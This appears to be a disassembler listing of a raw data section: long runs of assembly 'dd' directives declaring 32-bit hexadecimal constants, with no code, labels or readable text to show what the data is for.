		dd 13497800h, 0A2317F94h, 6CC10019h, 0F2954F39h, 473DB51Ch
		dd 6E4B006Fh, 0C9787E68h, 11D1034Ah, 0B5ADEB51h, 9EAEC490h
		dd 3C4140C0h, 9830E295h, 0A74002Bh, 0B634775Dh,	4500293Eh
		dd 90E3234Dh, 0BC4064h,	38ED7A50h, 5AA3EEC7h, 0BF19D405h
		dd 8E0042CEh, 0D9E1FE97h, 763B006Ah, 64CB5A0Ah,	0E300C855h
		dd 0DA0687ECh, 79E88B2h, 0FC4A395h, 0A31C97E2h,	0D6E17BA9h
		dd 15F5437Ah, 4089C087h, 6000AB62h, 2A21A6EBh, 7DCE7244h
		dd 0DEE200CCh, 0AE326DACh, 5D01D206h, 0A1F3C141h, 0F9CC0A04h
		dd 778D177Ah, 0A91672h,	0FA5F41F3h, 0E3B9D59h, 3F0580D6h
		dd 6470DF66h, 17C7584h,	3123752Dh, 0FC7216DBh, 83036AA2h
		dd 4D20B73Bh, 40C1DF8Ch, 808065C4h, 923FA2D8h, 2905F4EEh
		dd 6DB4AA72h, 52F026C7h, 0FAC207h, 0D30CCE04h, 0F50B10E9h
		dd 83F3DD00h, 13E3C457h, 0AAE0A4h, 0CE35975Fh, 0FC952254h
		dd 0AD6B1403h, 0BB6963EEh, 5F3CC87Fh, 0A92600F2h, 494512BFh
		dd 0DF003320h, 7A57EE8h, 4C47138Eh, 9B00D294h, 0BA97F239h
		dd 2B019D5Eh, 0E05FEB2Fh, 0BEEC5792h, 0E730382h, 8B8F4F91h
		dd 1400787Ch, 60CCFA59h, 1C1DC252h, 0AA4F8C3Fh,	58544010h
		dd 89DDE81h, 0B7AA03DCh, 0C100538Ch, 4972D2D0h,	600A6B62h
		dd 0B6060847h, 39007891h, 5DAFBCE6h, 3CD1F5Eh, 44DADBCCh
		dd 8B905627h, 91FEC98Dh, 0B993F507h, 0DE102F9Fh, 5CA0ECEh
		dd 4F5278D8h, 7480092h,	4ADEFEBFh, 453E3Fh, 53BAF16Bh
		dd 0C9A2180h, 0FAB21729h, 450035F0h, 47016B82h,	0A2B106AFh
		dd 880300Ch, 2B9A004Ah,	4EE74DDFh, 10004880h, 0F4DB1144h
		dd 0D4A8FAh, 91F7EEA3h,	523ABDB6h, 0CA50C800h, 440EAE65h
		dd 0E79900D4h, 0F70D25B8h, 0A6EA8154h, 9E7B690Eh, 9975A0BAh
		dd 0BECB73h, 0E4956B78h, 55A8FED4h, 4BA50C00h, 90D29F48h
		dd 123D005Dh, 64FA1DD3h, 2A18FE98h, 2828A452h, 294B0067h
		dd 827875CCh, 603B636h,	34275BC9h, 0CFD0B0F3h, 1B280035h
		dd 10589F11h, 16002D3Bh, 3E9184Dh, 0FDBC6DFh, 831E8AA7h
		dd 8BF0F1A0h, 99010FA0h, 7A4B575h, 0C4F0C196h, 88BF2A2Ah
		dd 90720090h, 28A658B7h, 173C2DADh, 2223805Ch, 6C0B135h
		dd 29DC14B0h, 0B400AC94h, 34C9FA5h, 9850145Ch, 2800D5B8h
		dd 0B807B9D8h, 0E3D72D62h, 13594880h, 282780E4h, 82F6D63Ch
		dd 5E352FB3h, 52D4A0C6h, 4651A6h, 0C2ADFD88h, 0FBC9D6D0h
		dd 4A4B8000h, 8D964FD7h, 5EE51C5Ah, 2F7A8306h, 7000DDA2h
		dd 0F6A6B69Ah, 76E0F7ABh, 27F303D6h, 0CCBE94F8h, 80364491h
		dd 1459F4E0h, 610566h, 4A9174D0h, 60260155h, 47A3A204h
		dd 7083383Ah, 0FDA80070h, 7219E4F6h, 560CA7F1h,	0B195F2B0h
		dd 0AFFC0CC1h, 8411EE5Fh, 94700100h, 768A3C58h,	81332473h
		dd 6E9E00B1h, 26EA2B17h, 48450C00h, 44F1DDAEh, 534A0080h
		dd 0B6EB75EEh, 63007DACh, 28033501h, 7FB73442h,	1B37AD0h
		dd 9E3E05D4h, 0F481AD37h, 3C00BE12h, 613FB069h,	1E5CB29h
		dd 9D5A9693h, 0E3C9E725h, 0B4607292h, 775C42AFh, 8CC7F89h
		dd 6E821C7h, 3FDBD655h,	2020505Dh, 0E7291063h, 4335ECC9h
		dd 20D003E4h, 0E6EE07E7h, 0BC2A07C0h, 80067F41h, 363A27E5h
		dd 0A4CA18C1h, 2200A7C5h, 471AE4CBh, 60109B8Dh,	1498CAh
		dd 0F79471DCh, 0CC474BBh, 91A67309h, 57510050h,	2C3997DFh
		dd 3FA24D14h, 3E512824h, 0C9B94E80h, 0CC3C5296h, 0AD516700h
		dd 44D71374h, 0A22E2694h, 6E1340h, 0A64EA56Fh, 0B37E9DDEh
		dd 6016AF00h, 6E1F3A11h, 0CC460015h, 0ACC2D6A1h, 3E007C73h
		dd 0BA5BCB71h, 95809Bh,	0DEB23F8Dh, 0A3C51D36h,	960091EEh
		dd 0ACFDE36Ah, 0EF78192h, 5D6B25FCh, 7FBB83A0h,	2209C261h
		dd 80AB103Eh, 0B74F87A6h, 4A30070h, 1AB1AFDAh, 810199E8h
		dd 547DED2Eh, 600E6Ch, 0D2030082h, 441C1BC6h, 0DE0F1DB1h
		dd 4077AB0Ah, 0BA796407h, 9E1400F7h, 89E2F341h,	7300D249h
		dd 0FF7BC31Bh, 301E7C80h, 0C8D45E05h, 0FBF4865Bh, 40A7332Fh
		dd 1F0D64h, 0EE7B971Eh,	91243B93h, 70668400h, 4F525C0h
		dd 6FC100BEh, 79CCC346h, 3801E3E2h, 26E5D927h, 0A8FD897Dh
		dd 85D6E4h, 2F2EA38Ah, 0BB17E990h, 0E3EA000h, 0FB41ADB8h
		dd 0D19F00CEh, 75A770A5h, 6100BF0Dh, 0DE58DF5Eh, 30C65D52h
		dd 7D21D9C7h, 3AFCA265h, 0FD07BE78h, 0AD34F142h, 9996C4C0h
		dd 0DE891D7Ch, 0D01DC09Ah, 839B8773h, 1803EDE4h, 7E578D29h
		dd 4DE3874Ah, 0B74EE8D6h, 0B2FA3877h, 0E5E03580h, 5DC845F7h
		dd 0CB07FEEAh, 37E26689h, 6B58EEE0h, 637547h, 77A64856h
		dd 7B184FBAh, 0CD68AD00h, 8FA57006h, 0CE3A00A8h, 9BF2A4FBh
		dd 191E4B26h, 97800D11h, 0DE3CD361h, 5FF000D8h,	7646EC78h
		dd 0D002495h, 0E95CB6C0h, 3DC4067Ch, 0FB07ACF9h, 9043D505h
		dd 0A27B1656h, 5C1AE400h, 3F3895B2h, 0A5BC00CAh, 9213B677h
		dd 9F1D49EDh, 837E0FD9h, 7FC3EB40h, 0D3983CFAh,	333F6700h
		dd 3B845A19h, 5E605B00h, 5DBCB957h, 0C7EA17h, 0E57FB1A1h
		dd 284AEC35h, 56AC3300h, 0CC75FF95h, 0F5F1463h,	8A0090C2h
		dd 0AACA3C61h, 6B0FE3A2h
		dd 0E04A2953h, 0AC1F191Dh, 0C33F0794h, 0DF9C43EBh, 0A7712400h
		dd 7D00F0EFh, 0BA42A17Ah, 219F4h, 3D8B0D86h, 9A132473h
		dd 0DC4E2C28h, 0D0C1532Ah, 0F1B38530h, 0AD835CDh, 0DEF0BE3h
		dd 0CCB51EC5h, 80F2403Ah, 0AD27DB1Ch, 71B93D00h, 0E605A0h
		dd 69B0B66Fh, 51E3FADFh, 82BAC400h, 0B32E6887h,	0B707005Dh
		dd 56EDBD94h, 7650A52Ch, 7B00FCECh, 217175A8h, 74D29304h
		dd 85310279h, 0BE0BA465h, 1D4FCA3h, 0F440BDA8h,	6AE1E30Eh
		dd 0E457C7CCh, 0A8F1CB23h, 12EB7CB3h, 241574h, 0C37FF58Ch
		dd 12003AC6h, 0BE393F68h, 0A1A8C8h, 0C2416AF0h,	0B54063C5h
		dd 5101E690h, 0C7264419h, 8C40629Dh, 804FBBA2h,	860FB3D4h
		dd 0C93C39h, 3F70F637h,	0DF3B3074h, 672D5888h, 0B8E8B400h
		dd 54C0E6C7h, 0A404002Ch, 6130F97Ch, 9900E176h,	0B5988C8Ah
		dd 12989AEh, 5AAB4F1Eh,	349EDBB6h, 0D8A0B400h, 6A00A7BCh
		dd 0C801378Eh, 3D6757D3h, 788083F9h, 93021104h,	6D00C306h
		dd 0EE4F763h, 0F99F95h,	0BFB28FD2h, 5C38CDBEh, 0DE091100h
		dd 651887A3h, 0B5E000C6h, 0ACC5EC4Dh, 3A7C1477h, 63BED407h
		dd 0A114C3EDh, 0E4D0FB80h, 0F1E0F9h, 4E625B85h,	0EEC13326h
		dd 3F54FC1Eh, 2335AE40h, 0E6EBDB28h, 0C28700B5h, 6A670E2Ch
		dd 1400939Eh, 0BF8294F2h, 48BA7266h, 0AE2A1927h, 0BDD300A8h
		dd 0A3FA6376h, 6403E2A7h, 446D94ADh, 0C4540028h, 6212AE39h
		dd 0C102EBDAh, 505F1DCCh, 5B004022h, 540100D8h,	0F52005A4h
		dd 0E9160CF2h, 120B13D3h, 6ED0071h, 17381Dh, 7424CD6Eh
		dd 0A1FD07FEh, 3BE9624Ch, 73858112h, 5E552CE3h,	70343034h
		dd 0F7E03F8Eh, 405F441Eh, 0D4DEDCBDh, 0EB14967Eh, 0A8532Eh
		dd 4BBEFF14h, 908D193Dh, 0C4E50334h, 8CE4C221h,	30981002h
		dd 20457985h, 206108A1h, 12490300h, 322956E7h, 53360084h
		dd 9E19237Ah, 3F60D028h, 158E4C31h, 0DD4C4Dh, 82007F3Bh
		dd 0FE90A6Dh, 0B0C2B424h, 6048F0F7h, 2436CCCAh,	544E075h
		dd 0C0783FC6h, 4680B6F5h, 0B322B91Dh, 48ABC780h, 0A80315h
		dd 301BFD94h, 6593DE6Fh, 0C4CE5D07h, 5EF13E97h,	9C400E8Fh
		dd 3E0F35C0h, 5B8072BEh, 92D15465h, 0C70039D2h,	0BBEDEAB0h
		dd 2CC8C5h, 8AE9CDB4h, 5158F2C9h, 3CBF2900h, 0B8468689h
		dd 93AE2656h, 95790734h, 0B109C002h, 85777F42h,	375D6900h
		dd 9E9138F1h, 62713Dh, 0D114DC9Bh, 0D988382h, 37C20B01h
		dd 29C89AA2h, 0CC603DFDh, 0D4AB013Ch, 0B62C070Fh, 0C64EC8B4h
		dd 0CCF54500h, 0A45B16BFh, 8A4A0050h, 0B972CADEh, 1B15FA43h
		dd 99C8764h, 0FC3C96ACh, 5981005Eh, 0C96BD820h,	3ED90200h
		dd 990D08C2h, 1B050369h, 0E7BC5609h, 0F27F7488h, 0F133B80Bh
		dd 3CB38042h, 0E47A7B88h, 47D600BAh, 5E3BD99Ch,	651CFC21h
		dd 15C08C64h, 38CCDD14h, 0B8093AFDh, 0AE93F900h, 0EFFECEB3h
		dd 0D95AB00h, 9AA0573Ah, 9DD60069h, 28AF22A7h, 2E006CEEh
		dd 0C6DC1949h, 0C09EF779h, 45812319h, 804D1D42h, 0A7430554h
		dd 0F5C0B555h, 0AC2DF0h, 9CCB9B10h, 13FAF919h, 0D656BA00h
		dd 6587D933h, 647A00A0h, 4793724Bh, 4100E4A5h, 62888517h
		dd 7DBBA7Ch, 0CC99AE03h, 96355129h, 86E5CC68h, 970971C1h
		dd 63C4F6ABh, 5B5F1642h, 33D8015Eh, 0D03B8A51h,	0E451269Ch
		dd 0AB94E418h, 2817B892h, 0D30EA6D3h, 4E7F8083h, 256F592h
		dd 6386F9A4h, 1C80EB35h, 0D98A1F87h, 0EEC5791Eh, 0AB990981h
		dd 28BAA6F8h, 0BAC340F4h, 7B4E640Eh, 0F8007E8Ah, 0E15D6256h
		dd 0AE6E0133h, 8BA90149h, 0AAADE046h, 0B788AB62h, 53480A4h
		dd 2428BC1h, 3C8A538Dh,	5880013Bh, 955BB6CEh, 26CDA000h
		dd 62B46676h, 0CB460013h, 0EEEABC84h, 3F00901Ah, 236E949Ch
		dd 0B2C506h, 5CEBCF52h,	1439A1D8h, 81E83200h, 0E41391F3h
		dd 0F16B0019h, 569A96E5h, 5200462Bh, 2FFBA6C2h,	3AC4A1Dh
		dd 0DBCEAED0h, 0EFA00534h, 0CC77226Ah, 0AF3AFCFEh, 0A1C90169h
		dd 0F119FB6Fh, 8B0EB040h, 30E0FA1Fh, 1ED8C2D8h,	433AA918h
		dd 6DAF9E49h, 71F0CE40h, 98C034D3h, 242B00F9h, 0AD9D7CC5h
		dd 4116EAA3h, 0C00039F0h, 1D5134C8h, 815800CFh,	95D8212Eh
		dd 8507BE83h, 56F073A9h, 589F5910h, 0C83F077Dh,	309EDA94h
		dd 644B4F48h, 26AEAB00h, 10C5F6E9h, 188918Fh, 29B1D249h
		dd 9B7430CEh, 0EAAB300Bh, 996080C0h, 15C9362h, 21B83E4Bh
		dd 0E495E4F9h, 31C4E8F0h, 10C0D2DAh, 0BECDC5h, 5BBA3C37h
		dd 54B7C4C6h, 14E00903h, 0B98DA902h, 5987FD67h,	0F057769Dh
		dd 37F22659h, 0E6028600h, 8CD2EA9h, 0F37100BDh,	608A7EF8h
		dd 300634D5h, 0F96E591Dh, 64AD5D41h, 6A8417h, 5350068Bh
		dd 0E4026810h, 0FF3FE69Ah, 2A22D404h, 0F734B1Ch, 998E0F04h
		dd 7F48096Ch, 0EFDE1706h, 2100881h, 2A3A3D65h, 8C50E9AFh
		dd 12C8F00h, 8DA38783h,	0A52824B3h, 0AE80BF58h,	9CDBA4B6h
		dd 0BB0055ABh, 212645C2h, 81F574h, 3F7937Ah, 0CC2551BAh
		dd 7888B65Dh, 9E3FA901h, 864122F3h, 77709FD7h, 12E1Ah
		dd 9F71084h, 8C32976Ah,	0BC62F1Ch, 0BC69ED40h, 0B891BEh
		dd 58B7528Ah, 0F13A5D4Dh, 1B7B201Dh, 4BB044C1h,	75F448C1h
		dd 2DA61ECCh, 67C8B0AAh, 0B8FA03BDh, 8126541Ch,	5C568600h
		dd 78939Ch, 30A6C9CDh, 233BFAC7h, 9A841607h, 7D92E583h
		dd 51F4E9DCh, 94DEE640h, 0DE807A7h, 34B7EEEBh, 523AC0BBh
		dd 0CC00AA5Ch, 8F9835B0h, 4A5440h, 0D107D2EDh, 0F3C2045Eh
		dd 1D558B0Eh, 0C180BF29h, 82CC7479h, 8C9F00E3h,	87147264h
		dd 18C07E8Eh, 4FA06A5Fh, 50FB7948h, 4457C0F4h, 7CE42158h
		dd 52BDB109h, 99846B2h,	34EE055Eh, 2A4A3700h, 4F00B3A8h
		dd 0BB127A6Ah, 0C2DD86h, 453C659Ah, 205F7BA0h, 21035C9Ah
		dd 24C0979Bh, 6948F0ABh, 1C901C6Bh, 0F904411Eh,	4378D2EEh
		dd 9FE1BBA8h, 0ECB440C1h, 0E6003CD5h, 0B04FAFC3h, 18C7D20Eh
		dd 2046DFD0h, 3001AACh,	0D4564E2Eh, 3BF7D651h, 0A78915B1h
		dd 6C04936Eh, 9B6F0009h, 0CA223Ah, 0AB54E22Fh, 0A469FA50h
		dd 92F45D01h, 523A36C3h, 0E015A2C7h, 1272CC84h,	922E6C8h
		dd 0D468F784h, 5B1F7ABFh, 0DC427073h, 48903AC0h, 8D6040h
		dd 6ED6436Fh, 0B64B395Fh, 0CA51D18h, 0FE4D57D8h, 0DE6A004Eh
		dd 34D72B23h, 7D72FD97h, 38014B3Fh, 76F00156h, 5C5707E0h
		dd 10EB6CCh, 51B9F7B0h,	0F05F5AA1h, 410B688Dh, 87113655h
		dd 97D0D47Ch, 0EC0924h,	43CD32A9h, 4D40575Eh, 0CBC7AE00h
		dd 7FB56E50h, 9E8B2D79h, 393026D8h, 67B218C8h, 80B000F9h
		dd 6F6031B1h, 7073581h,	875616C9h, 0D3254FF0h, 0CA9F0099h
		dd 0F00E3AC5h, 53014B66h, 92E76DFEh, 0FE702606h, 4D9003B7h
		dd 0FD7C1D3Eh, 761351B8h, 10678201h, 0BF8320FEh, 0A3B03ACCh
		dd 37E1CFA4h, 88801A28h, 4E47D50Ch, 0C300143Dh,	8C1D2A9Fh
		dd 5DA744h, 6A5EF643h, 6BA5A188h, 0ADBB5C00h, 2A0FCA33h
		dd 0F1DA055Fh, 7C8CE6h,	0C84A8788h, 431FCBC4h, 47404142h
		dd 953FDB80h, 0AF5500DCh, 5D641DDEh, 7F00AB53h,	2E1B688Ah
		dd 788998h, 0DBA5526Eh,	0DAC748EBh, 33F22412h, 9F9C5600h
		dd 0EC7A9Eh, 584CE3DCh,	0FCEA52Ch, 8800D578h, 2149FB36h
		dd 6DF433h, 7B813F51h, 7FA10116h, 0B620E900h, 12830CA7h
		dd 0DD410050h, 30D30DA2h, 49246B7Eh, 19803056h,	534A82DEh
		dd 9375BEh, 9B3D0E9Eh
		dd 5F063415h, 0E4053E09h, 0F98007F2h, 3B7408D0h, 0EE10C0F1h
		dd 0A22267F6h, 40B04A00h, 82A58698h, 58FC00E1h,	0CB11F97Fh
		dd 7C0716C7h, 68EAD789h, 90FADC70h, 248F7039h, 198DBF3h
		dd 8D6289F0h, 0BC82825h, 17186Ch, 83DE1CB4h, 2BB63979h
		dd 9736BB83h, 6198817Ah, 6FECA148h, 27D84C00h, 0B84BDC9Dh
		dd 0ED193C7Fh, 0C663610Bh, 0A776CC00h, 23EE670h, 4E6A80F4h
		dd 1E24D5D2h, 0D1B40011h, 17ADBAD8h, 0DD003A6Eh, 0AF83881h
		dd 71C43FEAh, 0E2F700A6h, 0EBDAEFE7h, 0FB18E015h, 331181DBh
		dd 0C82F07EAh, 917A7Fh,	674CC0EEh, 0DED9C100h, 45E593E9h
		dd 2BC90B8Ah, 3B805B19h, 0B5A38F1Dh, 11536E07h,	7D60F5E1h
		dd 735F434h, 0DDBA5B10h, 0A7FB90A0h, 0C100C452h, 0BE177E92h
		dd 0ED1DB3Ch, 3411E92Ah, 99CC8640h, 154621Eh, 2400CB94h
		dd 35A9F0D2h, 7F0746h, 9C8BAD7Dh, 794D4C8Ch, 3A00EFFAh
		dd 0E61E5BB7h, 6E84A6h,	837AE236h, 0C3767803h, 8200EB71h
		dd 66A75F77h, 0D62A96h,	9293CAF9h, 459A0F95h, 0C4317E00h
		dd 538711C5h, 68E1002Ah, 0BD03E9F9h, 9604D749h,	0C3C6450h
		dd 62BEDFC0h, 45020028h, 0EADB1829h, 0E7EACD5Bh, 889055B8h
		dd 3F93DD00h, 90EDADA4h, 8490FDh, 5A8BF864h, 4A205B6Dh
		dd 375D58h, 3E86E48h, 92A343h, 0CE01D53Eh, 0C68C05A8h
		dd 2A449701h, 806970BAh, 6003829h, 89B2743Ch, 0D1022B6Ch
		dd 7D5EE05Dh, 9D50E0FFh, 2D3A9869h, 0E400082Ch,	0F73385A8h
		dd 0A7B14900h, 46501015h, 9CBD0045h, 0FFA52A9Bh, 0F54ACD69h
		dd 61327C40h, 98328C2h,	0CA8934A6h, 62CEAC48h, 54AA4E12h
		dd 63FEA481h, 4AA740E0h, 40AC5F4Fh, 4BEA3E05h, 0F3013B49h
		dd 1D8EB2EDh, 4AF8F12Ah, 0B8D17CB6h, 0E6791445h, 7800B810h
		dd 33743187h, 5F164DF2h, 801E227Ch, 0F78A6100h,	0A8AA6386h
		dd 7474280h, 6C5D7695h,	0D353A1B2h, 12C0DBA6h, 94A4FE3Bh
		dd 86F23400h, 0EEC98140h, 0CB6001C7h, 30CF4194h, 1F802844h
		dd 7CA8CEBAh, 0E0835894h, 0E8BEA36Ch, 0EFB90Bh,	0A862E939h
		dd 0D78747B2h, 0CA3C1100h, 0F1BF6145h, 4DE70741h, 3277DCh
		dd 203F43B6h, 0DAB78B16h, 0C080101Fh, 1745B319h, 923E0096h
		dd 68762021h, 6D074FBEh, 84D3DEA6h, 8B638E90h, 0E3AC0080h
		dd 19BBB2DDh, 107542D6h, 7F56FC00h, 9B814B3Eh, 47173DE5h
		dd 3801DC00h, 76166390h, 5E3CC101h, 4E4AD986h, 44FE194h
		dd 41F534B0h, 9FC43303h, 0BAC1AF8Fh, 995AC032h,	3847582h
		dd 0C409783Ah, 20507797h, 7E7343B4h, 0D67AFA06h, 50AAB3h
		dd 5593242Eh, 2ADFAB81h, 0AD456300h, 91C2A0C1h,	1C2B0576h
		dd 1824D5Bh, 458C13B4h,	11204F99h, 0E78351B0h, 0B906842Ch
		dd 97BBCC01h, 0B05C7990h, 0C1DC7ADCh, 6F2C2E10h, 1488F6Dh
		dd 18758C34h, 2B9FAD0h,	5D77AC3Ch, 84A06142h, 0C0831C5Ch
		dd 0C7E698C1h, 9050D363h, 7F7177F8h, 0B48402B1h, 68067EA0h
		dd 0A9A764E8h, 368041DDh, 0A226C1E6h, 4D070078h, 0E120CDFAh
		dd 0F9EFF444h, 84EBE87Eh, 0D2891906h, 14909EC3h, 0A4FB407Ah
		dd 91779A00h, 1847CABh,	51C42A0Eh, 0E03620A9h, 60DF594Fh
		dd 685AF989h, 33013DEBh, 3BAA8B11h, 0AED18A81h,	70C42180h
		dd 468C42EBh, 56C23C00h, 53E508B2h, 82503239h, 7444FF78h
		dd 0EF32D302h, 484BDFC3h, 0AE8614h, 41BC0762h, 924FDA71h
		dd 5AEAE800h, 2588331Bh, 0FA561D65h, 0CB69C015h, 1DB53486h
		dd 1BBDD0Fh, 0B0917B61h, 1294F8Bh, 58710FF0h, 24ABD28Dh
		dd 145C2E30h, 42F44400h, 5A66A60Eh, 37FC83C0h, 8D180157h
		dd 0E7338EFFh, 52CC47BCh, 0F8A3B03Ch, 0C10076CEh, 5C2F31DAh
		dd 0CFB7AF4h, 0A4A724E9h, 14049930h, 0BB1240B7h, 4D6F7490h
		dd 418301F2h, 0CE86CA91h, 0A4C09868h, 3E5A0E21h, 789D94F2h
		dd 3FB00F36h, 7FFD0163h, 37BF23C0h, 0DCED1D00h,	513B480Eh
		dd 59291E8Ah, 779842C6h, 0E080A8E9h, 42A4FA88h,	72BAF883h
		dd 0B1B261CEh, 0FB8FEF97h, 64603E82h, 6274C630h, 64218860h
		dd 5A58F97h, 339BFDD2h,	7D906087h, 74EF8A77h, 97134F28h
		dd 800F494Eh, 26C3666Bh, 75993009h, 49477720h, 7A0AB0B0h
		dd 0A0EBCC33h, 53B650h,	6065661Fh, 0B3C7A1D8h, 98083A18h
		dd 282C5228h, 3C9253ABh, 424EBB9Ah, 7807F830h, 0D2A65848h
		dd 7A2091C0h, 81228Dh, 0A0115667h, 0A9CF1BDDh, 7CE09050h
		dd 20D07740h, 0F0F18425h, 9960DF24h, 0E0977D18h, 0F4A00A88h
		dd 0E44F93h, 476A06F7h,	2A140399h, 28AC52BCh, 70A60B0h
		dd 28829AE0h, 166003Eh,	0A9AAA74Ch, 0FA706985h,	89C4680Eh
		dd 2BD00183h, 30804D0Fh, 0D8C3DC4Ch, 5098C7CDh,	23DC5652h
		dd 8F90076Dh, 6296024Dh, 71107419h, 0EC0D8F98h,	89EFE680h
		dd 63F137F0h, 0B22858EDh, 59D89017h, 369A4D0h, 0DC7EFBh
		dd 8C45BB8Bh, 15395B65h, 44BF8D01h, 1AFA5D66h, 8C346420h
		dd 0EFF24112h, 1BCBD009h, 8240FC64h, 30F3F259h,	0AE4DE602h
		dd 68902BC6h, 28D79A28h, 0D848E26h, 0FF80E03Ch,	41882098h
		dd 57F18567h, 0A958D6h,	679CD503h, 0AEF18487h, 2E34A200h
		dd 48F98622h, 0D73C01BFh, 0EE85ED37h, 0C2247120h, 350A6066h
		dd 88AF395Dh, 13347682h, 12EC83AAh, 0AB100C1h, 6891CA5h
		dd 0C91FDE4h, 907BCC84h, 9F040116h, 0C0F8164Ah,	9B0326FDh
		dd 3BD02DA6h, 0D8D5985Ah, 0B1D25Dh, 87E0E9C2h, 79006F04h
		dd 901720F4h, 95D1BB5h,	8FC177EEh, 0ED211802h, 281F68DCh
		dd 0A86D9D39h, 1650A07h, 0B0C05506h, 0EC95492Bh, 0F4613F3Dh
		dd 6231E52Eh, 299A00A0h, 348A584Ah, 0B3070485h,	9789DBCAh
		dd 0A77FA3A0h, 0E8E4F048h, 4E4354h, 485E9856h, 144A64F8h
		dd 0F4130869h, 0D09C009Eh, 0B87EEB4Ch, 5DE138h,	0D3F20256h
		dd 70C78AA9h, 3CFF685h,	0AD7FA27h, 1588847Ah, 0CEF0D2ABh
		dd 0A7849E50h, 0B70D94B9h, 0B3F50887h, 504118Eh, 454C5440h
		dd 9000B0BCh, 47A935DBh, 4924C7E4h, 570A84FAh, 42F4385Dh
		dd 90902DD0h, 4B032E99h, 0B4C79B50h, 29313CF8h,	71C8312h
		dd 0D4F959F2h, 0E4484FCh, 7CA81DD0h, 9E7500Bh, 8B7C0404h
		dd 75492067h, 448C735Dh, 4817668Fh, 8E00BD49h, 245CEADCh
		dd 0C44E502Bh, 734FC4Ch, 20BC39E0h, 0B2D180A3h,	0CE19FE46h
		dd 0FAB9EFE9h, 0A38C3170h, 0B0828490h, 57CC875Ah, 1C34F2B0h
		dd 8B2301F7h, 2BB8BAA4h, 5C062A6Ch, 12F9B2D8h, 0D339C3h
		dd 0E6CCA007h, 0BF090209h, 0B06CBA58h, 708F912Ch, 22EE464Ch
		dd 9972017Ch, 20D6CE8Fh, 0AD55D8E9h, 0C40F9114h, 0B68701ECh
		dd 607C5985h, 55FB5C70h, 0C5F0A4C0h, 5B4603C2h,	81FF4E9Bh
		dd 3C865100h, 1BCD7C9Ah, 0A2D61C7Fh, 5B2C40D3h,	7E8FE1BBh
		dd 0FACA84A0h, 959A4300h, 4CF4C3Ch, 34880053h, 62E69C28h
		dd 2091FAA8h, 0B369C685h, 967FC8C1h, 22FB2C10h,	7C8E90A2h
		dd 6361DE68h, 1F704AEBh, 917C918Ah, 7FC91043h, 3C10A300h
		dd 0FB2FA622h, 0B4130511h, 0E100B448h, 0BD23010Ch, 0B807DDEAh
		dd 7EF33A90h, 3446C500h, 0C0525CB6h, 1AFF51Ch, 1BE9CDA8h
		dd 354FC071h, 0ECA87CF4h, 2158E4ABh, 0FAA8444Ch, 4A500709h
		dd 179409CBh, 80B191BCh, 0EFED7E54h, 0CCD2F033h, 0C621BF92h
		dd 87CC1B14h, 4C6864D0h, 0DF440552h, 7FA40AF4h,	21561E98h
		dd 48EB7581h, 3E0E7933h, 26EB0FFBh, 0C43CA031h,	545FBA0Dh
		dd 51DF8ACh, 4657C1F1h
		dd 35248282h, 11F24030h, 883941ECh, 588180B2h, 5CA70DF2h
		dd 3ADFC60Bh, 0C8E02AFCh, 4D809511h, 635D6749h,	6898448Ch
		dd 9C494600h, 1F32A94Bh, 0FFE5012Ah, 0A3FC5CF5h, 0CBCC20ACh
		dd 7DA47F06h, 981BC32h,	0A0F8C0C9h, 70A7B880h, 0F002E4A5h
		dd 475E6483h, 41D084CBh, 90F24C60h, 8CB159F4h, 0F1A47DC0h
		dd 31A90B93h, 0D4813C6Ch, 12AAAD4Ch, 8FED3070h,	0E214070h
		dd 3899161h, 0DB8F9536h, 1CECF051h, 34F00628h, 50843CF8h
		dd 24675F04h, 0ED80F6FFh, 5A6AB26h, 22753AA4h, 48D4E2B8h
		dd 96AD1034h, 0BB609062h, 0EC187111h, 23418F38h, 881136h
		dd 0D58F9465h, 2F34CB9h, 2C01532Dh, 0D88178DFh,	0E033C7A0h
		dd 10C9764Bh, 59F891EFh, 86F24832h, 14E6E30h, 0FA49114Bh
		dd 2DF7B314h, 9FDF888Ch, 0B5E90002h, 0F24D436Fh, 90EFF901h
		dd 0A144FA8Bh, 8DE8E881h, 807A8C32h, 0E1294998h, 5CB7536Eh
		dd 580850A3h, 3704A954h, 20E634C0h, 0F4C78074h,	0C3FF2F17h
		dd 603C1C42h, 452007Eh,	2896E126h, 4F4CEC04h, 552064E7h
		dd 0C7842087h, 0E43080EFh, 3003EEC9h, 0B00246B1h, 0F7C80089h
		dd 0B7501E44h, 0EB053870h, 0F53484DCh, 7353C21Dh, 30422822h
		dd 9138F243h, 0B622C641h, 0F25B7C00h, 0E75DCC2Eh, 1A8D7608h
		dd 0D06E0B2Ch, 0DEA51440h, 0EB640486h, 64713349h, 3C80CB4h
		dd 5C91EB6Ch, 7AF151D7h, 13F8E8A8h, 7871BA60h, 5BEB89h
		dd 0E17B3F15h, 3C9F030h, 14AB7D09h, 0ECCC6157h,	677C2AE4h
		dd 6D6FF8F9h, 88A04E60h, 0CCBC07Ch, 875E4263h, 0DF00DFFCh
		dd 0AC4145B6h, 1094AF9Ah, 38084F93h, 1149C799h,	18435D63h
		dd 4274889Eh, 0FFCD4907h, 0FC306682h, 16C4B930h, 5FE89D5h
		dd 0C8F808FFh, 9B485138h, 14C07C0h, 0A2B9577Ch,	58AE8CD0h
		dd 0C41A72E8h, 0D056D819h, 4C059DBCh, 818D7500h, 0B9AFA2AAh
		dd 6ED80067h, 36028926h, 0D050E9ACh, 0F412A0D4h, 5C00ADB3h
		dd 0DBFC8D01h, 55440BF3h, 0BA001DA7h, 2BAC1938h, 3C4C2A00h
		dd 161B407Fh, 0D00700EDh, 9489BEB8h, 78719768h,	501FC0EEh
		dd 77408583h, 0D8CC889Eh, 0B7D20722h, 0D0D43DF4h, 0CE379BF6h
		dd 3E97FA00h, 43C429CDh, 901E0012h, 6ED4BA94h, 0F200CE69h
		dd 0C3C11F18h, 0D81445h, 39047517h, 0E2B89D7h, 377DFE00h
		dd 0F1DA8DFCh, 0B6590057h, 45E7BCA8h, 7307FB3Dh, 665ECF55h
		dd 0C0587Bh, 27C93EE8h,	0A91C098Ah, 0A7FD9C00h,	0C355F099h
		dd 0B5EF3BE5h, 15B00C80h, 0F2D51BFAh, 7C956903h, 0B07B7998h
		dd 580256h, 364ACA3Ah, 0B4D096C0h, 2FFAE003h, 0A0FE9B61h
		dd 0E29A1B78h, 0DD21D73h, 8F060291h, 5409498h, 0EE0E606Fh
		dd 0A008489Dh, 9E81B4D5h, 0A0B228CDh, 7E4303DCh, 0E83A16Ch
		dd 6555C598h, 0B0949F00h, 2BE59679h, 0CCE7002Dh, 0B49C549Dh
